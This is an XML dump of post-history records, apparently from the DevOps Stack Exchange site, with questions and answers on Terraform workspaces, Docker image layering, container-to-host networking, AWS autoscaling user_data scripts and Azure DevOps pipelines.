  <row Id="40652" PostHistoryTypeId="1" PostId="13204" RevisionGUID="a2f0ff3e-2baa-4c60-913e-66458009290b" CreationDate="2021-01-22T19:43:51.843" UserId="25401" Text="Is it possible to have an aws EKS infrastructure as code?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40653" PostHistoryTypeId="3" PostId="13204" RevisionGUID="a2f0ff3e-2baa-4c60-913e-66458009290b" CreationDate="2021-01-22T19:43:51.843" UserId="25401" Text="&lt;amazon-web-services&gt;&lt;terraform&gt;&lt;amazon-ec2&gt;&lt;infrastructure-as-code&gt;&lt;eks&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40654" PostHistoryTypeId="34" PostId="13147" RevisionGUID="781e4121-3115-47f3-ae47-a838f3e99cdd" CreationDate="2021-01-22T22:23:17.297" UserId="16434" Comment="66" />
  <row Id="40676" PostHistoryTypeId="2" PostId="13205" RevisionGUID="f1f89443-53d4-4569-afd3-c675a5bae8e8" CreationDate="2021-01-23T05:24:06.063" UserId="24701" Text="Hi we have applications App1 ,App2 (bootjar) which are a docker images in nexus.  &#xD;&#xA;&#xD;&#xA;Now we have another application App3 . While creating this App3 image it has to be layered on top of App1 and App2.&#xD;&#xA;&#xD;&#xA;So how can I create a docker image of App3 ,layered on top of  both  App1 and App2 images .&#xD;&#xA;This doesn't work just tried this .&#xD;&#xA;```&#xD;&#xA;FROM APP1&#xD;&#xA;From App2&#xD;&#xA;&#xD;&#xA;Copy App3.jar /app&#xD;&#xA;Run java -jar /app/App3.jar&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40677" PostHistoryTypeId="1" PostId="13205" RevisionGUID="f1f89443-53d4-4569-afd3-c675a5bae8e8" CreationDate="2021-01-23T05:24:06.063" UserId="24701" Text="Docker images of multiple apps" ContentLicense="CC BY-SA 4.0" />
  <row Id="40678" PostHistoryTypeId="3" PostId="13205" RevisionGUID="f1f89443-53d4-4569-afd3-c675a5bae8e8" CreationDate="2021-01-23T05:24:06.063" UserId="24701" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40679" PostHistoryTypeId="5" PostId="10383" RevisionGUID="759d0c2d-b798-4dd8-ac0d-29047a1f74b7" CreationDate="2021-01-23T06:56:16.833" UserId="40" Comment="deleted 9 characters in body" Text="I'm having a bit of trouble with Terraform.  I have a Terraform project which is shared by a few developers and uses non-default workspaces (i.e. named workspaces, not the default one).  I would like all the developers to share access to the Terraform state of this shared workspace the same way as if it was the default workspace.  I have set up remote state with S3, so the state file is singleton, but for some reason I can't get the remote state file to be recognized on each developer's machine.&#xD;&#xA;&#xD;&#xA;Basically the workflow I would like is, when developer A pushes a change to Terraform (using ```terraform apply```) then any other developer who runs ```terraform state list``` should see that change reflected in the deployed infra, and that this workflow should work for any workspace, not only the default workspace.&#xD;&#xA;&#xD;&#xA;How do I accomplish this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40680" PostHistoryTypeId="2" PostId="13206" RevisionGUID="ace695b7-755d-4b58-86ff-3aba60ee182b" CreationDate="2021-01-23T07:24:10.173" UserId="25770" Text="Besdies **Fastly CDN** we could not find any other provider who offers **Varnish Cache** as a service.&#xD;&#xA;&#xD;&#xA;If there are any other CDN services or Managed services providing this service we would be happy to pay a reasonable price for it.&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40681" PostHistoryTypeId="1" PostId="13206" RevisionGUID="ace695b7-755d-4b58-86ff-3aba60ee182b" CreationDate="2021-01-23T07:24:10.173" UserId="25770" Text="Managed Varnish Cache as a Service" ContentLicense="CC BY-SA 4.0" />
  <row Id="40682" PostHistoryTypeId="3" PostId="13206" RevisionGUID="ace695b7-755d-4b58-86ff-3aba60ee182b" CreationDate="2021-01-23T07:24:10.173" UserId="25770" Text="&lt;cache&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40683" PostHistoryTypeId="2" PostId="13207" RevisionGUID="c8e6accb-87ec-474f-bf62-9d9a668ee40a" CreationDate="2021-01-23T09:55:13.073" UserId="354" Text="As the docs state, [workspaces are for _distinct_ resources](https://www.terraform.io/docs/language/state/workspaces.html#when-to-use-multiple-workspaces):&#xD;&#xA;&#xD;&#xA;&gt; Named workspaces allow conveniently switching between multiple instances of a single configuration within its single backend. They are convenient in a number of situations, but cannot solve all problems.&#xD;&#xA;&#xD;&#xA;&gt; A common use for multiple workspaces is to create a parallel, distinct copy of a set of infrastructure in order to test a set of changes before modifying the main production infrastructure. For example, a developer working on a complex set of infrastructure changes might create a new temporary workspace in order to freely experiment with changes without affecting the default workspace.&#xD;&#xA;&#xD;&#xA;If you would like all developers to see the same state, they have to use the same &#xD;&#xA;workspace. If you want this to be the case for _arbitrary_ workspaces, then it seems that this is an abuse of the concept of the workspace. It is possible, but I would strongly advise against it, to import resources from non-default workspaces into the default one, in some kind of automated way. You could also use the default workspace state as the non-default's [remote state](https://www.terraform.io/docs/language/state/remote-state-data.html), but again, I would strongly advise against this, arguing that it introduces unnecessary complexity and fragility to your process.&#xD;&#xA;&#xD;&#xA;If you want all developers to see the same resources in the state, then they should simply all use the same workspace. If they are not seeing the correct state, it is because the workspace or the remote state location that they are using is different." ContentLicense="CC BY-SA 4.0" />
  <row Id="40684" PostHistoryTypeId="5" PostId="13206" RevisionGUID="c8a1ddf0-708a-4a69-876d-b69ba59d585d" CreationDate="2021-01-23T11:31:41.923" UserId="354" Comment="Remove the  &quot;We'll pay for it&quot; bit, to reduce the tempation to advertise." Text="Besides **Fastly CDN** we could not find any other provider who offers **Varnish Cache** as a service.&#xD;&#xA;&#xD;&#xA;What are other SaaS offerings which provide varnish cache as a service?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40685" PostHistoryTypeId="6" PostId="13206" RevisionGUID="c8a1ddf0-708a-4a69-876d-b69ba59d585d" CreationDate="2021-01-23T11:31:41.923" UserId="354" Comment="Remove the  &quot;We'll pay for it&quot; bit, to reduce the tempation to advertise." Text="&lt;cache&gt;&lt;varnish&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40686" PostHistoryTypeId="5" PostId="8214" RevisionGUID="743fd2a6-e6e3-4939-bf3b-ab1db22ee305" CreationDate="2021-01-23T15:10:13.850" UserId="13461" Comment="added 4 characters in body" Text="I have searched few job sites. Many companies are searching engineers who can handle Jenkins as CI platform.&#xD;&#xA;I think the Aws CodePipeline is easier than Jenkins.&#xD;&#xA;&#xD;&#xA;Anyone can advise me, please.&#xD;&#xA;Thank you in advance." ContentLicense="CC BY-SA 4.0" />
  <row Id="40687" PostHistoryTypeId="2" PostId="13208" RevisionGUID="18ff9602-7cb2-4835-a84e-7de411571595" CreationDate="2021-01-23T18:11:10.707" UserId="25774" Text="I wanted to know how I could build a maven project and then automatically deploy the artifacts based on environmental files? Basically, I have a spring boot application(hosted on GitHub) that I want to compile using maven and a specific profile for each deployed environment. After the build is completed, I would like to SFTP the artifact(WAR file) to a remote server.&#xD;&#xA;&#xD;&#xA;Is there a general consensus on the best way to do this? I had tried at one point to get this working in pipelines but the transfer of the artifacts became complicated because I would have to basically install the FTP client on the VM that was spun up. I was hoping there was a more straightforward way to do this." ContentLicense="CC BY-SA 4.0" />
  <row Id="40688" PostHistoryTypeId="1" PostId="13208" RevisionGUID="18ff9602-7cb2-4835-a84e-7de411571595" CreationDate="2021-01-23T18:11:10.707" UserId="25774" Text="How to build maven project and deploy artifacts remotely using automation?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40689" PostHistoryTypeId="3" PostId="13208" RevisionGUID="18ff9602-7cb2-4835-a84e-7de411571595" CreationDate="2021-01-23T18:11:10.707" UserId="25774" Text="&lt;continuous-integration&gt;&lt;deployment&gt;&lt;continuous-deployment&gt;&lt;maven&gt;&lt;spring-boot&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40690" PostHistoryTypeId="5" PostId="13205" RevisionGUID="68396fd3-b67f-4fbc-90bd-f15c668f3753" CreationDate="2021-01-23T18:42:26.187" UserId="24524" Comment="Add more clarity" Text="We have applications App1, App2(bootjar) which are docker images present in nexus repository. &#xD;&#xA;&#xD;&#xA;Now we have another application App3. &#xD;&#xA;App3 docker image need to be layered on top of App1 and App2.&#xD;&#xA;&#xD;&#xA;How can I create a docker image of App3, layered on top of both App1 and App2 images.&#xD;&#xA;&#xD;&#xA;Tried below snippet but it didn't work.&#xD;&#xA;```&#xD;&#xA;FROM APP1&#xD;&#xA;From App2&#xD;&#xA;&#xD;&#xA;Copy App3.jar /app&#xD;&#xA;Run java -jar /app/App3.jar&#xD;&#xA;```&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40691" PostHistoryTypeId="24" PostId="13205" RevisionGUID="68396fd3-b67f-4fbc-90bd-f15c668f3753" CreationDate="2021-01-23T18:42:26.187" Comment="Proposed by 24524 approved by 40 edit id of 1331" ContentLicense="CC BY-SA 4.0" />
  <row Id="40693" PostHistoryTypeId="2" PostId="13209" RevisionGUID="dc99db6c-e121-4837-b220-8d54c2c2837e" CreationDate="2021-01-23T19:30:00.500" UserId="25775" Text="As security cannot be high enough, using SSL between containers *can* be implemented, but:&#xD;&#xA;- eavesdropping on the traffic among containers is nearly impossible as your containers are isolated from other networks, so you are already protected&#xD;&#xA;- HTTPS is slower to 4x-10x of HTTPS&#xD;&#xA;- and from an ITSEC perspective it does not worth the price and resources it would take to implement the eavesdropping in your system (except if you store the next week's winning lotto numbers there).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So in short, it is unnecessary." ContentLicense="CC BY-SA 4.0" />
  <row Id="40694" PostHistoryTypeId="5" PostId="13209" RevisionGUID="d43974a9-0f7a-4ac3-855b-dd519cef0e5e" CreationDate="2021-01-24T09:10:26.153" UserId="354" Comment="fix grammar." Text="As security cannot be high enough, using SSL between containers *can* be implemented, but:&#xD;&#xA;- eavesdropping on the traffic among containers is nearly impossible as your containers are isolated from other networks, so you are already protected&#xD;&#xA;- HTTPS is slower to 4x-10x than HTTP&#xD;&#xA;- and from an IT security perspective it is not worth the price and resources it would take to implement the eavesdropping in your system (except if you store the next week's winning lotto numbers there).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;So in short, it is unnecessary." ContentLicense="CC BY-SA 4.0" />
  <row Id="40695" PostHistoryTypeId="2" PostId="13210" RevisionGUID="edc8e1df-ae27-4dcf-8083-6fbe75626f5e" CreationDate="2021-01-24T10:35:27.653" UserId="465" Text="[Microsoft Azure][1] has [Management Groups][2]. (They are a level above subscriptions that allow you to organize subscriptions into containers called &quot;management groups&quot; and apply your governance conditions to the management groups. )&#xD;&#xA;&#xD;&#xA;When I studied for my AWS Associate Architect, I don't recall running across an equivalent concept. I'm trying to work out if [Amazon Web Services][3] has an equivalent. &#xD;&#xA;&#xD;&#xA;My question is: **What is the AWS equivalent of Azure Management Groups?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://en.wikipedia.org/wiki/Microsoft_Azure&#xD;&#xA;  [2]: https://docs.microsoft.com/en-us/azure/governance/management-groups/overview&#xD;&#xA;  [3]: https://en.wikipedia.org/wiki/Amazon_Web_Services" ContentLicense="CC BY-SA 4.0" />
  <row Id="40696" PostHistoryTypeId="1" PostId="13210" RevisionGUID="edc8e1df-ae27-4dcf-8083-6fbe75626f5e" CreationDate="2021-01-24T10:35:27.653" UserId="465" Text="What is the AWS equivalent of Azure Management Groups?" ContentLicense="CC BY-SA 4.0" />
  <row Id="40697" PostHistoryTypeId="3" PostId="13210" RevisionGUID="edc8e1df-ae27-4dcf-8083-6fbe75626f5e" CreationDate="2021-01-24T10:35:27.653" UserId="465" Text="&lt;amazon-web-services&gt;&lt;azure&gt;&lt;management-groups&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40698" PostHistoryTypeId="2" PostId="13211" RevisionGUID="b4d8f48e-7e77-4863-873f-8d574e0c048a" CreationDate="2021-01-24T10:36:14.410" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="40699" PostHistoryTypeId="1" PostId="13211" RevisionGUID="b4d8f48e-7e77-4863-873f-8d574e0c048a" CreationDate="2021-01-24T10:36:14.410" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="40700" PostHistoryTypeId="2" PostId="13212" RevisionGUID="25629000-2f20-49f8-b8ea-9f95d9069cfc" CreationDate="2021-01-24T10:36:14.410" UserId="-1" Text="" ContentLicense="CC BY-SA 4.0" />
  <row Id="40701" PostHistoryTypeId="1" PostId="13212" RevisionGUID="25629000-2f20-49f8-b8ea-9f95d9069cfc" CreationDate="2021-01-24T10:36:14.410" UserId="-1" ContentLicense="CC BY-SA 4.0" />
  <row Id="40702" PostHistoryTypeId="2" PostId="13213" RevisionGUID="fb87c4c6-945a-446a-8fba-6bb52d981ebe" CreationDate="2021-01-24T11:42:03.147" UserId="25779" Text="I am running a nodejs app in a docker (v 20.10.2) container on a Ubuntu 20.04 LTS&#xD;&#xA;&#xD;&#xA;My docker-compose config&#xD;&#xA;&#xD;&#xA;      test:&#xD;&#xA;        container_name: forge_test&#xD;&#xA;        restart: always&#xD;&#xA;        image: &quot;node:lts&quot;&#xD;&#xA;        volumes:&#xD;&#xA;          - ../src:/home/node/app&#xD;&#xA;        command: &quot;node test.js&quot;&#xD;&#xA;        user: &quot;node&quot;&#xD;&#xA;        working_dir: /home/node/app&#xD;&#xA;        extra_hosts:&#xD;&#xA;          - &quot;host.docker.internal:host-gateway&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In the docker, I can ping `host.docker.internal` (which does not work without extra_hosts), however I can not reach any services that I have running on any port (80, 3333, 8080, ...) on the host.&#xD;&#xA;&#xD;&#xA;Searching for a few hours now, no solutions I have found (adding docker0 to iptable, adding docker.host.internal to /etc/hosts) work.&#xD;&#xA;&#xD;&#xA;Am I missing something? Could there be a firewall blocking access somewhere? I can't find any similar issue where `host.docker.internal` can be pinged but the posrts not accessed&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40703" PostHistoryTypeId="1" PostId="13213" RevisionGUID="fb87c4c6-945a-446a-8fba-6bb52d981ebe" CreationDate="2021-01-24T11:42:03.147" UserId="25779" Text="Docker container can't reach host services" ContentLicense="CC BY-SA 4.0" />
  <row Id="40704" PostHistoryTypeId="3" PostId="13213" RevisionGUID="fb87c4c6-945a-446a-8fba-6bb52d981ebe" CreationDate="2021-01-24T11:42:03.147" UserId="25779" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40705" PostHistoryTypeId="5" PostId="13213" RevisionGUID="add82898-6807-4f80-8e70-b95776bcd3ac" CreationDate="2021-01-24T11:54:48.580" UserId="25779" Comment="added 101 characters in body" Text="I am running a nodejs app in a docker (v 20.10.2) container on a Ubuntu 20.04 LTS (this is for dev purpose only)&#xD;&#xA;&#xD;&#xA;My docker-compose config&#xD;&#xA;&#xD;&#xA;      test:&#xD;&#xA;        container_name: forge_test&#xD;&#xA;        restart: always&#xD;&#xA;        image: &quot;node:lts&quot;&#xD;&#xA;        volumes:&#xD;&#xA;          - ../src:/home/node/app&#xD;&#xA;        command: &quot;node test.js&quot;&#xD;&#xA;        user: &quot;node&quot;&#xD;&#xA;        working_dir: /home/node/app&#xD;&#xA;        extra_hosts:&#xD;&#xA;          - &quot;host.docker.internal:host-gateway&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;In the docker, I can ping `host.docker.internal` (which does not work without extra_hosts), however I can not reach any services that I have running on any port (the port I am actually trying to reach is 7545 but none work) on the host.&#xD;&#xA;&#xD;&#xA;Searching for a few hours now, no solutions I have found (adding docker0 to iptable, adding docker.host.internal to /etc/hosts) work.&#xD;&#xA;&#xD;&#xA;Am I missing something? Could there be a firewall blocking access somewhere (II have ufw installed but tbh I don't really know how to use it)? &#xD;&#xA;&#xD;&#xA;I can't find any similar issue where `host.docker.internal` can be pinged but the posrts not accessed&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40706" PostHistoryTypeId="5" PostId="13211" RevisionGUID="ea115024-ead3-4ea5-8b36-3eec88f3830b" CreationDate="2021-01-24T13:16:30.873" UserId="465" Comment="added 217 characters in body" Text="Azure management groups provide a level of scope above subscriptions. They allow you to organize subscriptions into containers called &quot;management groups&quot; and apply your governance conditions to the management groups. " ContentLicense="CC BY-SA 4.0" />
  <row Id="40707" PostHistoryTypeId="24" PostId="13211" RevisionGUID="ea115024-ead3-4ea5-8b36-3eec88f3830b" CreationDate="2021-01-24T13:16:30.873" Comment="Proposed by 465 approved by 40 edit id of 1332" ContentLicense="CC BY-SA 4.0" />
  <row Id="40708" PostHistoryTypeId="5" PostId="13212" RevisionGUID="efdb8487-6f78-4fcd-acfd-c7c600c11217" CreationDate="2021-01-24T13:16:38.400" UserId="465" Comment="added 217 characters in body" Text="Azure management groups provide a level of scope above subscriptions. They allow you to organize subscriptions into containers called &quot;management groups&quot; and apply your governance conditions to the management groups. " ContentLicense="CC BY-SA 4.0" />
  <row Id="40709" PostHistoryTypeId="24" PostId="13212" RevisionGUID="efdb8487-6f78-4fcd-acfd-c7c600c11217" CreationDate="2021-01-24T13:16:38.400" Comment="Proposed by 465 approved by 40 edit id of 1333" ContentLicense="CC BY-SA 4.0" />
  <row Id="40714" PostHistoryTypeId="2" PostId="13215" RevisionGUID="043c656d-2f3d-4298-ae2f-b2dc4f766cc6" CreationDate="2021-01-24T20:13:37.007" UserId="24730" Text="Yes it is possible. I was working on something like that a few days back. You can use Self-Hosted agents directly on one or all of the VMs: &lt;https://docs.microsoft.com/en-us/azure/devops/pipelines/agents/v2-windows?view=azure-devops&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40715" PostHistoryTypeId="50" PostId="9024" RevisionGUID="e69f1a33-5127-4adc-85c2-a4ba5e1a3dd7" CreationDate="2021-01-24T21:04:15.420" UserId="-1" />
  <row Id="40716" PostHistoryTypeId="50" PostId="9103" RevisionGUID="c84e9c9e-abb7-43aa-8f08-186ec1ea7cc7" CreationDate="2021-01-24T22:08:10.800" UserId="-1" />
  <row Id="40717" PostHistoryTypeId="2" PostId="13216" RevisionGUID="f81a66a5-9d31-4427-b571-3eb54b9219a2" CreationDate="2021-01-24T22:36:23.553" UserId="25786" Text="I’m working on a paper on aws/devops and want to ensure my use case works/makes sense. Open to suggestions on a better use case/workflow and want to ensure I am not incorrect in my approach to the use case.&#xD;&#xA;&#xD;&#xA;**The Scenario**&#xD;&#xA;&#xD;&#xA;Consider a retailer that is migrating to AWS, they have 6000 hosts but are considering a change to more dynamic instances with mission critical applications online and in stores.&#xD;&#xA;They are also moving to a devops model as a result of moving to the cloud.&#xD;&#xA;&#xD;&#xA;Provide an example use case or workflow of devops that the retailer will encounter in their AWS and Devops efforts.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;**My potential use case**&#xD;&#xA;&#xD;&#xA;I am considering the usecase to be continuous promotion updates on the retailer’s e-commerce website - (I’m assuming their e-commerce site is a mission critical application- please correct me if retailers would have different mission critical applications).&#xD;&#xA;&#xD;&#xA;The continuous Deployment practice in devops increased the pace of releases so they can innovate and improve their applications faster. Devops can be continuous without much human input.&#xD;&#xA;&#xD;&#xA;AWS code deploy makes it easier for application teams to rapidly release new features. The combination of devops and AWS makes the use case of updating promotions on e-commerce site and applications possible.&#xD;&#xA;&#xD;&#xA;**The Question**&#xD;&#xA;Does this usecase make ensue to those who have more devops/aws experience or is there another more relevant usecase that tackles this scenario better?&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40718" PostHistoryTypeId="1" PostId="13216" RevisionGUID="f81a66a5-9d31-4427-b571-3eb54b9219a2" CreationDate="2021-01-24T22:36:23.553" UserId="25786" Text="AWS Migration with DevOps use case/work flow" ContentLicense="CC BY-SA 4.0" />
  <row Id="40719" PostHistoryTypeId="3" PostId="13216" RevisionGUID="f81a66a5-9d31-4427-b571-3eb54b9219a2" CreationDate="2021-01-24T22:36:23.553" UserId="25786" Text="&lt;amazon-web-services&gt;&lt;amazon-s3&gt;&lt;aws-lambda&gt;&lt;workflow&gt;&lt;migration&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40720" PostHistoryTypeId="2" PostId="13217" RevisionGUID="6eef163b-2988-4d2b-b229-9607aae9f954" CreationDate="2021-01-25T08:16:57.593" UserId="25779" Text="It happens that the problem comes from ufw not allowing connections from docker containers on host ports. &#xD;&#xA;Deactivating it helped for now, since it's only for dev purpose." ContentLicense="CC BY-SA 4.0" />
  <row Id="40722" PostHistoryTypeId="2" PostId="13218" RevisionGUID="1b556c09-be25-4447-8638-7a3064eb9ad7" CreationDate="2021-01-25T09:01:38.823" UserId="3175" Text="There is no direct equivalent to Management Groups in AWS.&#xD;&#xA;&#xD;&#xA;You can achieve some of the same functionality by using [AWS Control Tower][1], specifically around access controls.  I.e. you can set up groups and assign roles to any accounts in an AWS Organization on a per-account or per-group basis and have them deployed to child AWS accounts.&#xD;&#xA;&#xD;&#xA;However, there is no such equivalent around, for example, resource allocation.&#xD;&#xA;&#xD;&#xA;You can achieve some of the same functionality by using CloudFormation, or by using CT IAM policies policies with specific restrictions, but it's a much more convoluted process than with Azure.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://aws.amazon.com/controltower/" ContentLicense="CC BY-SA 4.0" />
  <row Id="40723" PostHistoryTypeId="2" PostId="13219" RevisionGUID="1dc57cf8-dd21-48eb-9c37-0e29b6696dcc" CreationDate="2021-01-25T09:02:43.507" UserId="18826" Text="I have just started reading about AWS services. I have a project where the backend is created with `Spring-Boot`, front-end is created with `React` and `PostgreSQL` is used as database. Both backend and frontend is different `bitbucket` repository. I want to use two different `EC2` instance for front &amp; back-end and `RDS` for `PostgreSQL`. Now I also want to use the autoscaling feature. The problem is how can I set the autoscaling feature in such a fashion where it automatically clone the app from bitbucket and then run a shell script file to compile and run the application." ContentLicense="CC BY-SA 4.0" />
  <row Id="40724" PostHistoryTypeId="1" PostId="13219" RevisionGUID="1dc57cf8-dd21-48eb-9c37-0e29b6696dcc" CreationDate="2021-01-25T09:02:43.507" UserId="18826" Text="how to set automatic git pull from bitbucket and complie project on ec2 instance create event with auto scaling" ContentLicense="CC BY-SA 4.0" />
  <row Id="40725" PostHistoryTypeId="3" PostId="13219" RevisionGUID="1dc57cf8-dd21-48eb-9c37-0e29b6696dcc" CreationDate="2021-01-25T09:02:43.507" UserId="18826" Text="&lt;amazon-ec2&gt;&lt;deployment&gt;&lt;autoscaling&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40726" PostHistoryTypeId="2" PostId="13220" RevisionGUID="538d2530-ae51-4a23-9236-cf49c032d927" CreationDate="2021-01-25T11:25:42.473" UserId="25791" Text="Currently we have a build pipeline which checks if there is a PR for the current branch and if yes it sets a variable and skips the other build steps.&#xD;&#xA;&#xD;&#xA;But when this happens the Release still completes as Successful and a empty drop is created. This triggers a release which fails because drop is empty.&#xD;&#xA;&#xD;&#xA;This is the dumbed down version of the build pipeline:&#xD;&#xA;&#xD;&#xA;    stages:&#xD;&#xA;    - stage: CheckShouldBuildStage&#xD;&#xA;      displayName: Check Should Build&#xD;&#xA;      jobs:&#xD;&#xA;      - job: CheckShouldBuildJob&#xD;&#xA;        displayName: Check Should Build&#xD;&#xA;        steps:&#xD;&#xA;          - powershell: |&#xD;&#xA;                $doBuild = $True&#xD;&#xA;                $sourceBranchName=&quot;$env:BUILD_SOURCEBRANCHNAME&quot;&#xD;&#xA;                $buildReason=&quot;$env:BUILD_REASON&quot;&#xD;&#xA;                &#xD;&#xA;                # Get PR information for branch&#xD;&#xA;                ...&#xD;&#xA;                &#xD;&#xA;                if ($branchHasPr -eq $True -and $buildReason -ne &quot;PullRequest&quot; -and $buildReason -ne &quot;Manual&quot;) {&#xD;&#xA;                   $doBuild = $False&#xD;&#xA;                   Write-Host &quot;Pr Build found, and not the merged PR build. Cancelled build.&quot;&#xD;&#xA;                }&#xD;&#xA;&#xD;&#xA;                ...&#xD;&#xA;&#xD;&#xA;               if ($doBuild -eq $True) {&#xD;&#xA;                  Write-Host &quot;DoBuildVar=YES&quot;&#xD;&#xA;                  Write-Host &quot;##vso[task.setvariable variable=DoBuildVar;isOutput=true]YES&quot;     &#xD;&#xA;                } else { &#xD;&#xA;                  Write-Host &quot;DoBuildVar=NO&quot;&#xD;&#xA;                  Write-Host &quot;##vso[task.setvariable variable=DoBuildVar;isOutput=true]NO&quot;&#xD;&#xA;                }&#xD;&#xA;            name: CheckShouldBuildTask&#xD;&#xA;            displayName: Check Should Build&#xD;&#xA;    - stage: BuildAndTest&#xD;&#xA;      condition: &#xD;&#xA;        eq(&#xD;&#xA;          dependencies.CheckShouldBuildStage.outputs['CheckShouldBuildJob.CheckShouldBuildTask.DoBuildVar'], &#xD;&#xA;          'YES'&#xD;&#xA;        )&#xD;&#xA;      dependsOn: CheckShouldBuildStage&#xD;&#xA;      displayName: Build and Test&#xD;&#xA;      jobs:&#xD;&#xA;         ...&#xD;&#xA;&#xD;&#xA;What should be the correct way to skip a build and not trigger a Release? Is it possible to just disable the creation of an empty drop?&#xD;&#xA;&#xD;&#xA;I tried to disable the creation of an empty drop, but all my search results are just people where there was no drop created on mistake.. so this was a dead-end.&#xD;&#xA;&#xD;&#xA;I also know I can just fail my build pipeline but this would show up in the stats. As far as I can tell there really only is Success and Fail as a status for a pipeline. So this solution is also not working out for me." ContentLicense="CC BY-SA 4.0" />
  <row Id="40727" PostHistoryTypeId="1" PostId="13220" RevisionGUID="538d2530-ae51-4a23-9236-cf49c032d927" CreationDate="2021-01-25T11:25:42.473" UserId="25791" Text="How to skip Build without creating Drop and not triggering Release in Azure DevOps" ContentLicense="CC BY-SA 4.0" />
  <row Id="40728" PostHistoryTypeId="3" PostId="13220" RevisionGUID="538d2530-ae51-4a23-9236-cf49c032d927" CreationDate="2021-01-25T11:25:42.473" UserId="25791" Text="&lt;azure-devops&gt;&lt;azure&gt;&lt;azure-pipelines&gt;&lt;build-pipeline&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="40729" PostHistoryTypeId="34" PostId="13140" RevisionGUID="85f64039-36d5-48a2-b075-d20987c7f592" CreationDate="2021-01-25T17:55:34.190" UserId="25630" Comment="67" />
  <row Id="40730" PostHistoryTypeId="2" PostId="13221" RevisionGUID="8a542e23-1e82-4532-9726-ee4da730997c" CreationDate="2021-01-25T18:18:14.207" UserId="3175" Text="You want to make use of [user_data][1] scripts.&#xD;&#xA;&#xD;&#xA;It's basically a bootstrap shell script that gets executed on an instance during launch.&#xD;&#xA;&#xD;&#xA;You can embed your app configuration script in there (either directly via bash, or have it call your configuration management software like Ansible or Chef).&#xD;&#xA;&#xD;&#xA;Then, if you attach this script to a Launch Template or a Launch Configuration (which is an instance template required as part of an AWS ASG), it will be applied to the whole autoscaling group.&#xD;&#xA;&#xD;&#xA;Then, when you have a scaling event, any new instances that come up in the ASG will run the script and deploy your code.&#xD;&#xA;&#xD;&#xA;However, I would recommend you look into immutable infrastructure instead.  I.e. set up automation (i.e. via Packer) that builds your application code into your AMI, with user_data only used for actually starting the app.&#xD;&#xA;&#xD;&#xA;Then, when you have a new build, have the same automation build a new AMI and replace your ASG (note you'll need to have your ASG created/deployed in a programmatic fashion.. I personally recommend Terraform).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="40731" PostHistoryTypeId="2" PostId="13222" RevisionGUID="5ad87d99-2516-4976-9eff-bf646e35bd3a" CreationDate="2021-01-25T18:43:59.540" UserId="6162" Text="&gt;Is it possible to declare &quot;a complete production level EKS with other aws services&quot; using terraform?&#xD;&#xA;&#xD;&#xA;Yes, and that is what many larger organizations do. I have implemented Kubernetes with other AWS resources this way for larger companies e.g. a bank, using Terraform. &#xD;&#xA;&#xD;&#xA;&gt;I want to learn aws by experimenting. But I cannot afford spending that much money. So I need to be able to destroy everything and recreate the exact infrastructure whenever it's needed.&#xD;&#xA;&#xD;&#xA;That should go well. You can use e.g. `terraform apply` to provision infrastructure and `terraform destroy` to take it down. I would also recommend to add tests on your infrastructure using e.g. [Terratest][1] and perhaps use [tfsec][2] in a _pipeline_ so that you are comfortable that new changes does not break your cluster - using _Infrastructure as Code_ the full way.&#xD;&#xA;&#xD;&#xA;&gt;Is there a reliable way of declaring everything once and recreate the whole infrastructure declaratively (without touching aws console)?&#xD;&#xA;&#xD;&#xA;Yes, that is a best practice.&#xD;&#xA;&#xD;&#xA;  [1]: https://terratest.gruntwork.io/&#xD;&#xA;  [2]: https://github.com/tfsec/tfsec" ContentLicense="CC BY-SA 4.0" />
